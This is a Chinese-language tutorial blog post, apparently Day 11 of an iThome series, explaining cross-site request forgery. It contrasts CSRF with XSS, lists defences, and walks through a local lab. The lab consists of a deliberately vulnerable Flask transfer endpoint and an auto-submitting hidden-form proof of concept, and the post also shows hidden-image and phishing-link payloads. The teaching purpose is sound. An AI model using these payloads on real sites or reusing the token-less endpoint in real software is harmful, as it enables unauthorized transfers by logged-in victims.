iT邦幫忙

2025 iThome 鐵人賽

DAY 11
0

暨昨天我們學了XSS我們今天要來學新的常見攻擊手法,也就是CSFR。加上剛好我們前幾天學了Cookie,正是學CSFR的好時候,因為CSFR正是一個常常與Cookie綁在一起且與XSS有點容易搞混的攻擊方式。

什麼是CSFR?

CSFR(Cross-Site Request Forgery),中文全名為跨網站請求偽造,基本概念為攻擊者利用使用者已登入的身分,偷偷幫使用者送出一個請求。由於請求是從使用者的瀏覽器發出去的,瀏覽器會自動帶上Cookie(同時裡面也有Session ID),所以伺服器會以為這個請求是合法的。

舉例:

假設目前我們已經先登入一個銀行的網站https://IZUMI_bank.com/transfer?to=Izumi&amount=1000,伺服器會根據我們登入的Cookie來判斷我們是誰。這時如果攻擊者在他的網站放一張隱藏圖片,<img src="https://IZUMI_bank.com/transfer?to=Hacker&amount=1000">,這時我們只要一登入銀行後去瀏覽她的網頁,瀏覽器就會自動幫他發出轉上1000給Hacher的請求,這就是跨網站幫你偽造請求,接下來我們來分析一下CSRF跟XSS的差別。

CSRF 與 XSS 的差別

XSS:攻擊者「在網站中插入惡意 JS」,直接操縱瀏覽器。
CSRF:攻擊者「在自己網站中偷偷發請求」,利用受害者已登入的 Cookie。

白話一點來說的話,XSS偏向「網站被駭入」,CSRF則偏向「使用者被利用」。

常見的CSRF攻擊方式

1.隱藏圖片/script
舉例:

<img src="https://bank.com/transfer?to=hacker&amount=1000">

受害者一進攻擊頁面就觸發。

2.隱藏表單自動送出

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

3.釣魚連結

<a href="https://bank.com/transfer?to=hacker&amount=1000">點我抽獎!</a>

接下來我們要講講應該要如何防範CSRF攻擊,我挑了兩個比較常見的防禦方式

常見的CSRF防禦方式

1.CSRF Token (最常見)

每次請求時帶一個隨機產生且攻擊者無法預測的token,而伺服器則會負責驗證token

2.雙重驗證

例如轉帳時要輸入密碼 / OTP。

今日CSRF小練習

一.準備測試環境

首先,我們一樣要先準備基本的測試環境,但我們今天不會用到Burp Suite,先將下面兩個檔案分別儲存為CSRF.py跟CSRF_PoC.html

#CSRF.py
from flask import Flask, request, session, redirect, url_for, render_template_string

app = Flask(__name__)
app.secret_key = 'dev-secret'
app.config.update(
    SESSION_COOKIE_SAMESITE=None,
    SESSION_COOKIE_SECURE=False,  
    SESSION_COOKIE_HTTPONLY=True
)



@app.route('/login', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        session['user'] = request.form.get('user','victim')
        return redirect(url_for('profile'))
    return '''
      <form method="post">
        <input name="user" placeholder="username" />
        <button type="submit">Login</button>
      </form>
    '''

@app.route('/profile')
def profile():
    user = session.get('user')
    if not user:
        return redirect(url_for('login'))
    return render_template_string('''
      <h3>Welcome {{user}}</h3>
      <form action="/transfer" method="post">
        <input name="to_account" value="attacker">
        <input name="amount" value="100">
        <button type="submit">Send</button>
      </form>
    ''', user=user)

@app.route('/transfer', methods=['POST'])
def transfer():
    user = session.get('user')
    if not user:
        return "Not logged in", 403
    to = request.form.get('to_account')
    amount = request.form.get('amount')
    return f"Transferred {amount} from {user} to {to}"

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

這個是CSRF.py

<!doctype html>
<html>
  <body>
    <h3>CSRF PoC — only for local test</h3>
    <form id="f" action="http://127.0.0.1:5000/transfer" method="POST">
      <input type="hidden" name="amount" value="1000">
      <input type="hidden" name="to_account" value="attacker">
    </form>
    <script>
      document.getElementById('f').submit();
    </script>
  </body>
</html>

這個是CSRF_PoC.html,另外如果大家不知道要怎麼存成html的話這邊教大家最簡單的方法,也就是將代碼打在記事本後儲存時將副檔名更改為.html。

二.開始實作流程

1.開瀏覽器分頁A到 http://127.0.0.1:5000/login,輸入使用者(例如 victim)並登入,這時候會轉到/profile

2.開啟我們儲存的HTML檔案(記得瀏覽器要一樣),我們稱這個為分頁B,此時我們應該會看到Transferred 1000 from victim to attacker,這就表示成功了,接下來我們來講解攻擊的流程

三.攻擊流程

A. 受害者在分頁A登入127.0.0.1:5000
瀏覽器對 POST /login 發送:

POST /login HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Content-Length:14
user=victim

伺服器(Flask)處理後設定session並回傳Set-Cookie:

HTTP/1.1 302 Found
Set-Cookie: session=<cookie-value>; Path=/; HttpOnly
Location: /profile

B. 攻擊者頁面在同一瀏覽器開啟(Tab B),自動提交CSRF表單到127.0.0.1:5000/transfer

若cookie被瀏覽器帶出,瀏覽器會發送:

POST /transfer HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Cookie: session=<cookie-value>
amount=1000&to_account=attacker

伺服器收到後會去解碼 cookie、取 session['user'] 存在之後判定是已登入的使用者,執行轉帳邏輯最後回 Transferred 1000 from victim to attacker。

四.防禦方法

基本上只需要在這個網站加入CSRF token(寫在.py的地方),這樣子就能有效的防禦並阻止攻擊

今日小結

今天學了CSRF的觀念以及實作,相信連續兩天的實作大家可能會有點疲倦,因此明天我們會先講一點觀念的東西,之後再繼續教攻擊。


上一篇
Day-10 認識基本攻擊XSS
下一篇
Day-12 認識HTTP
系列文
Izumi從零開始的30日WEB馬拉松12
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言